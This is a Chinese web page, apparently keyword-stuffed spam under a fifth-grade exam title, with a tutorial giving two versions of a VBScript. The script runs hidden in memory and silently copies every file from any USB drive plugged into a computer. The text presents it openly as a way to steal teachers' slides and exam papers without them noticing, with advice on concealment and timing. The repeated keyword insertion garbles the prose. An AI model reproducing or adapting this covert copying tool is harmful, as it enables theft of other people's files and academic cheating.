五年级期末考试卷-U盘插入自动复制技能大分享,PPT,期末考试卷子不是事!再也不用拿手

  U盘插入自动复制五年级期末考试卷,有效对付那些不肯给PPT的老师,还有一定几率拿到期末考试卷子···有图有真相!业界良心的好东西!!现在看还来得及!!!

  代码优化了一下五年级期末考试卷,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行,老师绝对看不出

  同样的建立一个文本文档五年级期末考试卷,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样

  photo-media

  把下面的代码复制进去

  set fso=createobject("scripting.filesystemobject")

  set ws=createobject("wscript.shell")

  on error resume next

  do

  wscript.sleep 1000

  if fso.driveexists("U盘的盘符") then

  fso.copyfile "U盘的盘符加*号","要复制到的目录"

  fso.copyfolder "U盘的盘符加*号","要复制到的目录"

  wscript.sleep 20000

  end if

  loop

  photo-media

  注意标颜色地方要自己改

  蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:\USB\代替蓝色部分,注意大小写,同时必须确保USB这个文件 夹存在五年级期末考试卷。 

  红色的是U盘的盘符五年级期末考试卷,比如新插进去的U盘是E盘,则用e:\*代替红色部分,F盘就是f:\*,

  第一个U盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号五年级期末考试卷。 

  photo-media

  注意和第一个的区别

  复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电 脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了五年级期末考试卷。 

  photo-media

  photo-media

  后缀改好以后, 运行这个文件,就OK了五年级期末考试卷。 同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了

  要停止这个东西,在任务管理器里面 结束进程WScript.exe就可以了五年级期末考试卷。 这个软件学过编程的都应该会看得懂有没有恶意代码。 

  另外我不是计算机专业的,这个东西目前对插N个U盘只会复制第一个,对插移动硬盘会全部复制···要接近电脑请在上课之前,一般老师怕麻烦不会去重启的五年级期末考试卷。 

  更新:

  现在没空弄这个五年级期末考试卷,有些人弄不来 我现在更新了一下代码,复制下面的所有东西到一个文本文件,改名为XX.VBS 使用即可

  set fso=createobject("scripting.filesystemobject")

  set ws=createobject("wscript.shell")

  dim USB, file, folder, files

  USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘五年级期末考试卷,则输入F","插入的U盘盘符","F")

  folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘五年级期末考试卷,请输入D:\","请输入复制到的文件夹","C:\USB")

  files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件五年级期末考试卷,输入xls;默认为全部类型","请输入要复制的文件类型","ALL")

  USB=USB & ":\"

  folder=folder & "\"

  if files="ALL"then

  file=USB & "*"

  else

  file=USB & "*." & files

  end if

  if FSO.FolderExists(folder) then

  else

  FSO.CreateFolder(folder)

  end if

  on error resume next

  do

  wscript.sleep 1000

  if fso.driveexists(USB) then

  fso.copyfile file,folder

  fso.copyfolder file,folder

  wscript.sleep 20000

  end if

  loop

声明:准根文档网所有作品(图片、文字)均由用户自行上传分享,仅供网友学习交流。若您的权利被侵害,请联系 saizw@outlook.com